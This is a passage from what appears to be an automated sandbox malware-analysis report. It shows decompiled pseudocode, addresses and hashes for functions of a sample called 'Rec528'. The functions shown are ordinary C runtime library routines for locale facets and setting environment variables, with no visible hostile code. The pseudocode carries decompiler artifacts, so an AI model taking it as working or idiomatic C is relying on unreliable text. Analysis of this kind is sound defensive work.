							return E0040EB3F(_t85, _t64, _v32 ^ _t89, _t79, _t82, _t86);
						}
						L12:
						_t48 = _v48;
						if(_t48 == 0) {
							_t85 = E0040ED4F(_t64, _t81, _t85, __eflags, 0x18);
							_v48 = _t85;
							_v16 = 1;
							_t73 =  *((intOrPtr*)(_v36 + 4));
							__eflags = _t73;
							if(_t73 == 0) {
								_t50 = 0x4399f7;
							} else {
								_t50 =  *((intOrPtr*)(_t73 + 0x18));
								__eflags = _t50;
								if(_t50 == 0) {
									_t50 = _t73 + 0x1c;
								}
							}
							E00403F10(_t50);
							 *((intOrPtr*)(_t85 + 4)) = 0;
							 *_t85 = 0x42eee4;
							E0040E5FF(_t81, _t85, __eflags,  &_v68);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							E00403FC0( &_v120);
							_v36 = _t85;
							_v16 = 2;
							E0040E1D4(__eflags, _t85);
							_t79 =  *_t85;
							 *((intOrPtr*)( *_t85 + 4))();
							 *0x450d08 = _t85;
						} else {
							_t85 = _t48;
						}
						goto L19;
					}
					_t57 = E0040E200();
					if(_t81 >=  *((intOrPtr*)(_t57 + 0xc))) {
						goto L12;
					}
					_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t57 + 8)) + _t81 * 4));
					goto L11;
				}
				_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t66 + 8)) + _t81 * 4));
				if(_t85 != 0) {
					goto L19;
				}
				goto L8;
			}

0x0040c510
0x0040c511
0x0040c519
0x0040c520
0x0040c524
0x0040c526
0x0040c528
0x0040c533
0x0040c534
0x0040c538
0x0040c53d
0x0040c53f
0x0040c544
0x0040c548
0x0040c54e
0x0040c556
0x0040c559
0x0040c55e
0x0040c565
0x0040c56b
0x0040c570
0x0040c575
0x0040c57b
0x0040c580
0x0040c586
0x0040c58d
0x0040c58e
0x0040c593
0x0040c593
0x0040c59b
0x0040c5a0
0x0040c5a0
0x0040c5a6
0x0040c5ac
0x0040c5be
0x0040c5be
0x0040c5c0
0x0040c5c4
0x0040c5d6
0x0040c5d8
0x0040c665
0x0040c668
0x0040c672
0x0040c67a
0x0040c67b
0x0040c68c
0x0040c68c
0x0040c5de
0x0040c5de
0x0040c5e3
0x0040c5f0
0x0040c5f5
0x0040c5f8
0x0040c5ff
0x0040c602
0x0040c604
0x0040c612
0x0040c606
0x0040c606
0x0040c609
0x0040c60b
0x0040c60d
0x0040c60d
0x0040c60b
0x0040c61b
0x0040c623
0x0040c62b
0x0040c631
0x0040c63c
0x0040c63f
0x0040c643
0x0040c648
0x0040c64c
0x0040c650
0x0040c655
0x0040c65c
0x0040c65f
0x0040c5e5
0x0040c5e5
0x0040c5e5
0x00000000
0x0040c5e3
0x0040c5c6
0x0040c5ce
0x00000000
0x00000000
0x0040c5d3
0x00000000
0x0040c5d3
0x0040c5b1
0x0040c5b6
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040C559
std::_Lockit::_Lockit.LIBCPMT ref: 0040C57B
std::_Lockit::~_Lockit.LIBCPMT ref: 0040C59B
__Getctype.LIBCPMT ref: 0040C631
std::_Facet_Register.LIBCPMT ref: 0040C650
std::_Lockit::~_Lockit.LIBCPMT ref: 0040C668

Strings

B@, xrefs: 0040C62B

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID: B@
API String ID: 1102183713-1939862501
Opcode ID: 956430f717bbb0b9acaeba20c9b6b52ab45130d629bc6ecfb1f9cf7f249c9e74
Instruction ID: 7d4eb4a2309380256e9014bde5af99e0ce1f4255be05dda2c90e3ed58e46587f
Opcode Fuzzy Hash: 956430f717bbb0b9acaeba20c9b6b52ab45130d629bc6ecfb1f9cf7f249c9e74
Instruction Fuzzy Hash: 00419A75900214DBCB20DF55D881BAAB7B4EB04B14F14467EE806BB392EB39AD05CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00424B94 Relevance: 12.2, APIs: 8, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00424B94(signed int __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t76;
				signed int* _t78;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				intOrPtr* _t98;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				intOrPtr* _t120;
				signed int _t121;
				void* _t122;
				void* _t126;
				signed int _t130;
				signed int _t138;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				signed int _t146;
				signed int _t149;
				signed int _t150;
				void* _t153;
				void* _t157;
				void* _t158;
				void* _t160;
				void* _t162;

				_t110 = __ebx;
				_t153 = _t157;
				_t158 = _t157 - 0x10;
				_t146 = _a4;
				_t163 = _t146;
				if(_t146 != 0) {
					_push(__ebx);
					_t141 = _t146;
					_t59 = E00412BF0(_t146, 0x3d);
					_v20 = _t59;
					__eflags = _t59;
					if(__eflags == 0) {
						L38:
						 *((intOrPtr*)(E00413571(__eflags))) = 0x16;
						goto L39;
					} else {
						__eflags = _t59 - _t146;
						if(__eflags == 0) {
							goto L38;
						} else {
							_v5 =  *((intOrPtr*)(_t59 + 1));
							L60();
							_t110 = 0;
							__eflags =  *0x450898 - _t110; // 0x1664fd0
							if(__eflags != 0) {
								L14:
								_t64 =  *0x450898; // 0x1664fd0
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L39;
								} else {
									_t67 = E00424E9C(_t146, _v20 - _t146);
									_v16 = _t67;
									_t120 = _v12;
									__eflags = _t67;
									if(_t67 < 0) {
										L24:
										__eflags = _v5 - _t110;
										if(_v5 == _t110) {
											goto L40;
										} else {
											_t68 =  ~_t67;
											_v16 = _t68;
											_t30 = _t68 + 2; // 0x2
											_t139 = _t30;
											__eflags = _t139 - _t68;
											if(_t139 < _t68) {
												goto L39;
											} else {
												__eflags = _t139 - 0x3fffffff;
												if(_t139 >= 0x3fffffff) {
													goto L39;
												} else {
													_v12 = E00424EFC(_t120, _t139, 4);
													E0041E238(_t110);
													_t71 = _v12;
													_t158 = _t158 + 0x10;
													__eflags = _t71;
													if(_t71 == 0) {
														goto L39;
													} else {
														_t121 = _v16;
														_t141 = _t110;
														 *(_t71 + _t121 * 4) = _t146;
														 *(_t71 + 4 + _t121 * 4) = _t110;
														goto L29;
													}
												}
											}
										}
									} else {
										__eflags =  *_t120 - _t110;
										if( *_t120 == _t110) {
											goto L24;
										} else {
											E0041E238( *((intOrPtr*)(_t120 + _t67 * 4)));
											_t138 = _v16;
											__eflags = _v5 - _t110;
											if(_v5 != _t110) {
												_t141 = _t110;
												 *(_v12 + _t138 * 4) = _t146;
											} else {
												_t139 = _v12;
												while(1) {
													__eflags =  *((intOrPtr*)(_t139 + _t138 * 4)) - _t110;
													if( *((intOrPtr*)(_t139 + _t138 * 4)) == _t110) {
														break;
													}
													 *((intOrPtr*)(_t139 + _t138 * 4)) =  *((intOrPtr*)(_t139 + 4 + _t138 * 4));
													_t138 = _t138 + 1;
													__eflags = _t138;
												}
												_v16 = E00424EFC(_t139, _t138, 4);
												E0041E238(_t110);
												_t71 = _v16;
												_t158 = _t158 + 0x10;
												__eflags = _t71;
												if(_t71 != 0) {
													L29:
													 *0x450898 = _t71;
												}
											}
											__eflags = _a8 - _t110;
											if(_a8 == _t110) {
												goto L40;
											} else {
												_t122 = _t146 + 1;
												do {
													_t72 =  *_t146;
													_t146 = _t146 + 1;
													__eflags = _t72;
												} while (_t72 != 0);
												_v16 = _t146 - _t122 + 2;
												_t149 = E0041E1DB(_t146 - _t122 + 2, "true");
												_pop(_t124);
												__eflags = _t149;
												if(_t149 == 0) {
													L37:
													E0041E238(_t149);
													goto L40;
												} else {
													_t76 = E0041C728(_t149, _v16, _a4);
													_t160 = _t158 + 0xc;
													__eflags = _t76;
													if(__eflags != 0) {
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														E004134C4();
														asm("int3");
														_push(_t153);
														_push(_t141);
														_t143 = _v48;
														__eflags = _t143;
														if(_t143 != 0) {
															_t126 = 0;
															_t78 = _t143;
															__eflags =  *_t143;
															if( *_t143 != 0) {
																do {
																	_t78 =  &(_t78[1]);
																	_t126 = _t126 + 1;
																	__eflags =  *_t78;
																} while ( *_t78 != 0);
															}
															_t150 = E0041E1DB(_t126 + 1, 4);
															_t128 = _t149;
															__eflags = _t150;
															if(_t150 == 0) {
																L58:
																E00419BC9(_t110, _t128, _t139, _t143, _t150);
																goto L59;
															} else {
																_t130 =  *_t143;
																__eflags = _t130;
																if(_t130 == 0) {
																	L57:
																	E0041E238(0);
																	_t86 = _t150;
																	goto L45;
																} else {
																	_push(_t110);
																	_t110 = _t150 - _t143;
																	__eflags = _t110;
																	do {
																		_t52 = _t130 + 1; // 0x5
																		_t139 = _t52;
																		do {
																			_t87 =  *_t130;
																			_t130 = _t130 + 1;
																			__eflags = _t87;
																		} while (_t87 != 0);
																		_t53 = _t130 - _t139 + 1; // 0x6
																		_v12 = _t53;
																		 *(_t110 + _t143) = E0041E1DB(_t53, "true");
																		E0041E238(0);
																		_t162 = _t160 + 0xc;
																		__eflags =  *(_t110 + _t143);
																		if( *(_t110 + _t143) == 0) {
																			goto L58;
																		} else {
																			_t91 = E0041C728( *(_t110 + _t143), _v12,  *_t143);
																			_t160 = _t162 + 0xc;
																			__eflags = _t91;
																			if(_t91 != 0) {
																				L59:
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				E004134C4();
																				asm("int3");
																				_t84 =  *0x450898; // 0x1664fd0
																				__eflags = _t84 -  *0x4508a4; // 0x1664fd0
																				if(__eflags == 0) {
																					_push(_t84);
																					L43();
																					 *0x450898 = _t84;
																					return _t84;
																				}
																				return _t84;
																			} else {
																				goto L55;
																			}
																		}
																		goto L63;
																		L55:
																		_t143 = _t143 + 4;
																		_t130 =  *_t143;
																		__eflags = _t130;
																	} while (_t130 != 0);
																	goto L57;
																}
															}
														} else {
															_t86 = 0;
															__eflags = 0;
															L45:
															return _t86;
														}
													} else {
														asm("sbb eax, eax");
														 *(_v20 + 1 + _t149 - _a4 - 1) = _t110;
														__eflags = E0042B143(_v20 + 1 + _t149 - _a4, _t139, __eflags, _t149,  ~_v5 & _v20 + 0x00000001 + _t149 - _a4);
														if(__eflags == 0) {
															_t98 = E00413571(__eflags);
															_t111 = _t110 | 0xffffffff;
															__eflags = _t111;
															 *_t98 = 0x2a;
														}
														goto L37;
													}
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L9:
									__eflags = _v5 - _t110;
									if(_v5 != _t110) {
										 *0x450898 = E0041E1DB("true", 4);
										E0041E238(_t110);
										_t158 = _t158 + 0xc;
										__eflags =  *0x450898 - _t110; // 0x1664fd0
										if(__eflags == 0) {
											L39:
											_t111 = _t110 | 0xffffffff;
											__eflags = _t111;
											goto L40;
										} else {
											__eflags =  *0x45089c - _t110; // 0x0
											if(__eflags != 0) {
												goto L14;
											} else {
												 *0x45089c = E0041E1DB("true", 4);
												E0041E238(_t110);
												_t158 = _t158 + 0xc;
												__eflags =  *0x45089c - _t110; // 0x0
												if(__eflags == 0) {
													goto L39;
												} else {
													goto L14;
												}
											}
										}
									} else {
										_t111 = 0;
										L40:
										E0041E238(_t141);
										_t62 = _t111;
										goto L41;
									}
								} else {
									__eflags =  *0x45089c - _t110; // 0x0
									if(__eflags == 0) {
										goto L9;
									} else {
										__eflags = L0041A7D1();
										if(__eflags == 0) {
											goto L38;
										} else {
											L60();
											goto L14;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E00413571(_t163);
					 *_t109 = 0x16;
					_t62 = _t109 | 0xffffffff;
					L41:
					return _t62;
				}
				L63:
			}

0x00424b94
0x00424b97
0x00424b99
0x00424b9d
0x00424ba0
0x00424ba2
0x00424bb7
0x00424bbc
0x00424bbe
0x00424bc3
0x00424bc8
0x00424bca
0x00424dab
0x00424db0
0x00000000
0x00424bd0
0x00424bd0
0x00424bd2
0x00000000
0x00424bd8
0x00424bdb
0x00424bde
0x00424be3
0x00424be5
0x00424beb
0x00424c68
0x00424c68
0x00424c6d
0x00424c70
0x00424c72
0x00000000
0x00424c78
0x00424c7f
0x00424c84
0x00424c89
0x00424c8c
0x00424c8e
0x00424cdf
0x00424cdf
0x00424ce2
0x00000000
0x00424ce8
0x00424ce8
0x00424cea
0x00424ced
0x00424ced
0x00424cf0
0x00424cf2
0x00000000
0x00424cf8
0x00424cf8
0x00424cfe
0x00000000
0x00424d04
0x00424d0e
0x00424d11
0x00424d16
0x00424d19
0x00424d1c
0x00424d1e
0x00000000
0x00424d24
0x00424d24
0x00424d27
0x00424d29
0x00424d2c
0x00000000
0x00424d2c
0x00424d1e
0x00424cfe
0x00424cf2
0x00424c90
0x00424c90
0x00424c92
0x00000000
0x00424c94
0x00424c97
0x00424c9d
0x00424ca0
0x00424ca3
0x00424cd8
0x00424cda
0x00424ca5
0x00424ca5
0x00424cb2
0x00424cb2
0x00424cb5
0x00000000
0x00000000
0x00424cae
0x00424cb1
0x00424cb1
0x00424cb1
0x00424cc1
0x00424cc4
0x00424cc9
0x00424ccc
0x00424ccf
0x00424cd1
0x00424d30
0x00424d30
0x00424d30
0x00424cd1
0x00424d35
0x00424d38
0x00000000
0x00424d3a
0x00424d3a
0x00424d3d
0x00424d3d
0x00424d3f
0x00424d40
0x00424d40
0x00424d4c
0x00424d54
0x00424d57
0x00424d58
0x00424d5a
0x00424da2
0x00424da3
0x00000000
0x00424d5c
0x00424d63
0x00424d68
0x00424d6b
0x00424d6d
0x00424dc7
0x00424dc8
0x00424dc9
0x00424dca
0x00424dcb
0x00424dcc
0x00424dd1
0x00424dd4
0x00424dd8
0x00424dd9
0x00424ddc
0x00424dde
0x00424de5
0x00424de7
0x00424de9
0x00424deb
0x00424ded
0x00424ded
0x00424df0
0x00424df1
0x00424df1
0x00424ded
0x00424e02
0x00424e05
0x00424e06
0x00424e08
0x00424e70
0x00424e70
0x00000000
0x00424e0a
0x00424e0a
0x00424e0c
0x00424e0e
0x00424e60
0x00424e62
0x00424e68
0x00000000
0x00424e10
0x00424e10
0x00424e13
0x00424e13
0x00424e15
0x00424e15
0x00424e15
0x00424e18
0x00424e18
0x00424e1a
0x00424e1b
0x00424e1b
0x00424e23
0x00424e27
0x00424e31
0x00424e34
0x00424e39
0x00424e3c
0x00424e40
0x00000000
0x00424e42
0x00424e4a
0x00424e4f
0x00424e52
0x00424e54
0x00424e75
0x00424e77
0x00424e78
0x00424e79
0x00424e7a
0x00424e7b
0x00424e7c
0x00424e81
0x00424e82
0x00424e87
0x00424e8d
0x00424e8f
0x00424e90
0x00424e96
0x00000000
0x00424e96
0x00424e9b
0x00000000
0x00000000
0x00000000
0x00424e54
0x00000000
0x00424e56
0x00424e56
0x00424e59
0x00424e5b
0x00424e5b
0x00000000
0x00424e5f
0x00424e0e
0x00424de0
0x00424de0
0x00424de0
0x00424de2
0x00424de4
0x00424de4
0x00424d6f
0x00424d80
0x00424d84
0x00424d90
0x00424d92
0x00424d94
0x00424d99
0x00424d99
0x00424d9c
0x00424d9c
0x00000000
0x00424d92
0x00424d6d
0x00424d5a
0x00424d38
0x00424c92
0x00424c8e
0x00424bed
0x00424bed
0x00424bf0
0x00424c0e
0x00424c0e
0x00424c11
0x00424c24
0x00424c29
0x00424c2e
0x00424c31
0x00424c37
0x00424db6
0x00424db6
0x00424db6
0x00000000
0x00424c3d
0x00424c3d
0x00424c43
0x00000000
0x00424c45
0x00424c4f
0x00424c54
0x00424c59
0x00424c5c
0x00424c62
0x00000000
0x00000000
0x00000000
0x00000000
0x00424c62
0x00424c43
0x00424c13
0x00424c13
0x00424db9
0x00424dba
0x00424dc1
0x00000000
0x00424dc3
0x00424bf2
0x00424bf2
0x00424bf8
0x00000000
0x00424bfa
0x00424bff
0x00424c01
0x00000000
0x00424c07
0x00424c07
0x00000000
0x00424c07
0x00424c01
0x00424bf8
0x00424bf0
0x00424beb
0x00424bd2
0x00424ba4
0x00424ba4
0x00424ba9
0x00424baf
0x00424dc4
0x00424dc6
0x00424dc6
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 00424BBE
_free.LIBCMT ref: 00424C97
_free.LIBCMT ref: 00424CC4

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 4e14be396917b90d40ada6c8054fde6103272dd0e98e2066e88c24aaefcf9db6
Instruction ID: e9077a77b77cbaef882ac8ea15f918e71d01be059a736bb5fbde2ee2f0fcbb78
Opcode Fuzzy Hash: 4e14be396917b90d40ada6c8054fde6103272dd0e98e2066e88c24aaefcf9db6
Instruction Fuzzy Hash: 3D512C75B04321AFDB10BF6AE841AAE7BE4EF81314F91416FE91097282DA3DC941CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 10008EC6 Relevance: 12.2, APIs: 8, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E10008EC6(signed int __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v48;
				signed int _t59;
				signed int _t62;
				signed int _t64;
				signed int _t67;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t76;
				signed int* _t78;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				intOrPtr* _t98;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				intOrPtr* _t120;
				signed int _t121;
				void* _t122;
				void* _t126;
				signed int _t130;
				signed int _t138;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				signed int _t146;
				signed int _t149;
				signed int _t150;
				void* _t153;
				void* _t157;
				void* _t158;
				void* _t160;
				void* _t162;

				_t110 = __ebx;
				_t153 = _t157;
				_t158 = _t157 - 0x10;
				_t146 = _a4;
				_t163 = _t146;
				if(_t146 != 0) {
					_push(__ebx);
					_t141 = _t146;
					_t59 = E1000EA00(_t146, 0x3d);
					_v20 = _t59;
					__eflags = _t59;
					if(__eflags == 0) {
						L38:
						 *((intOrPtr*)(E100058B6(__eflags))) = 0x16;
						goto L39;
					} else {
						__eflags = _t59 - _t146;
						if(__eflags == 0) {
							goto L38;
						} else {
							_v5 =  *((intOrPtr*)(_t59 + 1));
							L60();
							_t110 = 0;
							__eflags =  *0x10017ea0 - _t110; // 0x1725df0
							if(__eflags != 0) {
								L14:
								_t64 =  *0x10017ea0; // 0x1725df0
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L39;
								} else {
									_t67 = E100091CE(_t146, _v20 - _t146);
									_v16 = _t67;
									_t120 = _v12;
									__eflags = _t67;
									if(_t67 < 0) {
										L24:
										__eflags = _v5 - _t110;
										if(_v5 == _t110) {
											goto L40;
										} else {
											_t68 =  ~_t67;
											_v16 = _t68;
											_t30 = _t68 + 2; // 0x2
											_t139 = _t30;
											__eflags = _t139 - _t68;
											if(_t139 < _t68) {
												goto L39;
											} else {
												__eflags = _t139 - 0x3fffffff;
												if(_t139 >= 0x3fffffff) {
													goto L39;
												} else {
													_v12 = E1000922E(_t120, _t139, 4);
													E100079CC(_t110);
													_t71 = _v12;
													_t158 = _t158 + 0x10;
													__eflags = _t71;
													if(_t71 == 0) {
														goto L39;
													} else {
														_t121 = _v16;
														_t141 = _t110;
														 *(_t71 + _t121 * 4) = _t146;
														 *(_t71 + 4 + _t121 * 4) = _t110;
														goto L29;
													}
												}
											}
										}
									} else {
										__eflags =  *_t120 - _t110;
										if( *_t120 == _t110) {
											goto L24;
										} else {
											E100079CC( *((intOrPtr*)(_t120 + _t67 * 4)));
											_t138 = _v16;
											__eflags = _v5 - _t110;
											if(_v5 != _t110) {
												_t141 = _t110;
												 *(_v12 + _t138 * 4) = _t146;
											} else {
												_t139 = _v12;
												while(1) {
													__eflags =  *((intOrPtr*)(_t139 + _t138 * 4)) - _t110;
													if( *((intOrPtr*)(_t139 + _t138 * 4)) == _t110) {
														break;
													}
													 *((intOrPtr*)(_t139 + _t138 * 4)) =  *((intOrPtr*)(_t139 + 4 + _t138 * 4));
													_t138 = _t138 + 1;
													__eflags = _t138;
												}
												_v16 = E1000922E(_t139, _t138, 4);
												E100079CC(_t110);
												_t71 = _v16;
												_t158 = _t158 + 0x10;
												__eflags = _t71;
												if(_t71 != 0) {
													L29:
													 *0x10017ea0 = _t71;
												}
											}
											__eflags = _a8 - _t110;
											if(_a8 == _t110) {
												goto L40;
											} else {
												_t122 = _t146 + 1;
												do {
													_t72 =  *_t146;
													_t146 = _t146 + 1;
													__eflags = _t72;
												} while (_t72 != 0);
												_v16 = _t146 - _t122 + 2;
												_t149 = E10007A37(_t146 - _t122 + 2, "true");
												_pop(_t124);
												__eflags = _t149;
												if(_t149 == 0) {
													L37:
													E100079CC(_t149);
													goto L40;
												} else {
													_t76 = E100068FC(_t149, _v16, _a4);
													_t160 = _t158 + 0xc;
													__eflags = _t76;
													if(__eflags != 0) {
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														_push(_t110);
														E10005809();
														asm("int3");
														_push(_t153);
														_push(_t141);
														_t143 = _v48;
														__eflags = _t143;
														if(_t143 != 0) {
															_t126 = 0;
															_t78 = _t143;
															__eflags =  *_t143;
															if( *_t143 != 0) {
																do {
																	_t78 =  &(_t78[1]);
																	_t126 = _t126 + 1;
																	__eflags =  *_t78;
																} while ( *_t78 != 0);
															}
															_t150 = E10007A37(_t126 + 1, 4);
															_t128 = _t149;
															__eflags = _t150;
															if(_t150 == 0) {
																L58:
																E100068B8(_t110, _t128, _t139, _t143, _t150);
																goto L59;
															} else {
																_t130 =  *_t143;
																__eflags = _t130;
																if(_t130 == 0) {
																	L57:
																	E100079CC(0);
																	_t86 = _t150;
																	goto L45;
																} else {
																	_push(_t110);
																	_t110 = _t150 - _t143;
																	__eflags = _t110;
																	do {
																		_t52 = _t130 + 1; // 0x5
																		_t139 = _t52;
																		do {
																			_t87 =  *_t130;
																			_t130 = _t130 + 1;
																			__eflags = _t87;
																		} while (_t87 != 0);
																		_t53 = _t130 - _t139 + 1; // 0x6
																		_v12 = _t53;
																		 *(_t110 + _t143) = E10007A37(_t53, "true");
																		E100079CC(0);
																		_t162 = _t160 + 0xc;
																		__eflags =  *(_t110 + _t143);
																		if( *(_t110 + _t143) == 0) {
																			goto L58;
																		} else {
																			_t91 = E100068FC( *(_t110 + _t143), _v12,  *_t143);
																			_t160 = _t162 + 0xc;
																			__eflags = _t91;
																			if(_t91 != 0) {
																				L59:
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				_push(0);
																				E10005809();
																				asm("int3");
																				_t84 =  *0x10017ea0; // 0x1725df0
																				__eflags = _t84 -  *0x10017eac; // 0x1725df0
																				if(__eflags == 0) {
																					_push(_t84);
																					L43();
																					 *0x10017ea0 = _t84;
																					return _t84;
																				}
																				return _t84;
																			} else {
																				goto L55;
																			}
																		}
																		goto L63;
																		L55:
																		_t143 = _t143 + 4;
																		_t130 =  *_t143;
																		__eflags = _t130;
																	} while (_t130 != 0);
																	goto L57;
																}
															}
														} else {
															_t86 = 0;
															__eflags = 0;
															L45:
															return _t86;
														}
													} else {
														asm("sbb eax, eax");
														 *(_v20 + 1 + _t149 - _a4 - 1) = _t110;
														__eflags = E1000B189(_v20 + 1 + _t149 - _a4, _t139, __eflags, _t149,  ~_v5 & _v20 + 0x00000001 + _t149 - _a4);
														if(__eflags == 0) {
															_t98 = E100058B6(__eflags);
															_t111 = _t110 | 0xffffffff;
															__eflags = _t111;
															 *_t98 = 0x2a;
														}
														goto L37;
													}
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L9:
									__eflags = _v5 - _t110;
									if(_v5 != _t110) {
										 *0x10017ea0 = E10007A37("true", 4);
										E100079CC(_t110);
										_t158 = _t158 + 0xc;
										__eflags =  *0x10017ea0 - _t110; // 0x1725df0
										if(__eflags == 0) {
											L39:
											_t111 = _t110 | 0xffffffff;
											__eflags = _t111;
											goto L40;
										} else {
											__eflags =  *0x10017ea4 - _t110; // 0x0
											if(__eflags != 0) {
												goto L14;
											} else {
												 *0x10017ea4 = E10007A37("true", 4);
												E100079CC(_t110);
												_t158 = _t158 + 0xc;
												__eflags =  *0x10017ea4 - _t110; // 0x0
												if(__eflags == 0) {
													goto L39;
												} else {
													goto L14;
												}
											}
										}
									} else {
										_t111 = 0;
										L40:
										E100079CC(_t141);
										_t62 = _t111;
										goto L41;
									}
								} else {
									__eflags =  *0x10017ea4 - _t110; // 0x0
									if(__eflags == 0) {
										goto L9;
									} else {
										__eflags = L1000652C();
										if(__eflags == 0) {
											goto L38;
										} else {
											L60();
											goto L14;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E100058B6(_t163);
					 *_t109 = 0x16;
					_t62 = _t109 | 0xffffffff;
					L41:
					return _t62;
				}
				L63:
			}

0x10008ec6
0x10008ec9
0x10008ecb
0x10008ecf
0x10008ed2
0x10008ed4
0x10008ee9
0x10008eee
0x10008ef0
0x10008ef5
0x10008efa
0x10008efc
0x100090dd
0x100090e2
0x00000000
0x10008f02
0x10008f02
0x10008f04
0x00000000
0x10008f0a
0x10008f0d
0x10008f10
0x10008f15
0x10008f17
0x10008f1d
0x10008f9a
0x10008f9a
0x10008f9f
0x10008fa2
0x10008fa4
0x00000000
0x10008faa
0x10008fb1
0x10008fb6
0x10008fbb
0x10008fbe
0x10008fc0
0x10009011
0x10009011
0x10009014
0x00000000
0x1000901a
0x1000901a
0x1000901c
0x1000901f
0x1000901f
0x10009022
0x10009024
0x00000000
0x1000902a
0x1000902a
0x10009030
0x00000000
0x10009036
0x10009040
0x10009043
0x10009048
0x1000904b
0x1000904e
0x10009050
0x00000000
0x10009056
0x10009056
0x10009059
0x1000905b
0x1000905e
0x00000000
0x1000905e
0x10009050
0x10009030
0x10009024
0x10008fc2
0x10008fc2
0x10008fc4
0x00000000
0x10008fc6
0x10008fc9
0x10008fcf
0x10008fd2
0x10008fd5
0x1000900a
0x1000900c
0x10008fd7
0x10008fd7
0x10008fe4
0x10008fe4
0x10008fe7
0x00000000
0x00000000
0x10008fe0
0x10008fe3
0x10008fe3
0x10008fe3
0x10008ff3
0x10008ff6
0x10008ffb
0x10008ffe
0x10009001
0x10009003
0x10009062
0x10009062
0x10009062
0x10009003
0x10009067
0x1000906a
0x00000000
0x1000906c
0x1000906c
0x1000906f
0x1000906f
0x10009071
0x10009072
0x10009072
0x1000907e
0x10009086
0x10009089
0x1000908a
0x1000908c
0x100090d4
0x100090d5
0x00000000
0x1000908e
0x10009095
0x1000909a
0x1000909d
0x1000909f
0x100090f9
0x100090fa
0x100090fb
0x100090fc
0x100090fd
0x100090fe
0x10009103
0x10009106
0x1000910a
0x1000910b
0x1000910e
0x10009110
0x10009117
0x10009119
0x1000911b
0x1000911d
0x1000911f
0x1000911f
0x10009122
0x10009123
0x10009123
0x1000911f
0x10009134
0x10009137
0x10009138
0x1000913a
0x100091a2
0x100091a2
0x00000000
0x1000913c
0x1000913c
0x1000913e
0x10009140
0x10009192
0x10009194
0x1000919a
0x00000000
0x10009142
0x10009142
0x10009145
0x10009145
0x10009147
0x10009147
0x10009147
0x1000914a
0x1000914a
0x1000914c
0x1000914d
0x1000914d
0x10009155
0x10009159
0x10009163
0x10009166
0x1000916b
0x1000916e
0x10009172
0x00000000
0x10009174
0x1000917c
0x10009181
0x10009184
0x10009186
0x100091a7
0x100091a9
0x100091aa
0x100091ab
0x100091ac
0x100091ad
0x100091ae
0x100091b3
0x100091b4
0x100091b9
0x100091bf
0x100091c1
0x100091c2
0x100091c8
0x00000000
0x100091c8
0x100091cd
0x00000000
0x00000000
0x00000000
0x10009186
0x00000000
0x10009188
0x10009188
0x1000918b
0x1000918d
0x1000918d
0x00000000
0x10009191
0x10009140
0x10009112
0x10009112
0x10009112
0x10009114
0x10009116
0x10009116
0x100090a1
0x100090b2
0x100090b6
0x100090c2
0x100090c4
0x100090c6
0x100090cb
0x100090cb
0x100090ce
0x100090ce
0x00000000
0x100090c4
0x1000909f
0x1000908c
0x1000906a
0x10008fc4
0x10008fc0
0x10008f1f
0x10008f1f
0x10008f22
0x10008f40
0x10008f40
0x10008f43
0x10008f56
0x10008f5b
0x10008f60
0x10008f63
0x10008f69
0x100090e8
0x100090e8
0x100090e8
0x00000000
0x10008f6f
0x10008f6f
0x10008f75
0x00000000
0x10008f77
0x10008f81
0x10008f86
0x10008f8b
0x10008f8e
0x10008f94
0x00000000
0x00000000
0x00000000
0x00000000
0x10008f94
0x10008f75
0x10008f45
0x10008f45
0x100090eb
0x100090ec
0x100090f3
0x00000000
0x100090f5
0x10008f24
0x10008f24
0x10008f2a
0x00000000
0x10008f2c
0x10008f31
0x10008f33
0x00000000
0x10008f39
0x10008f39
0x00000000
0x10008f39
0x10008f33
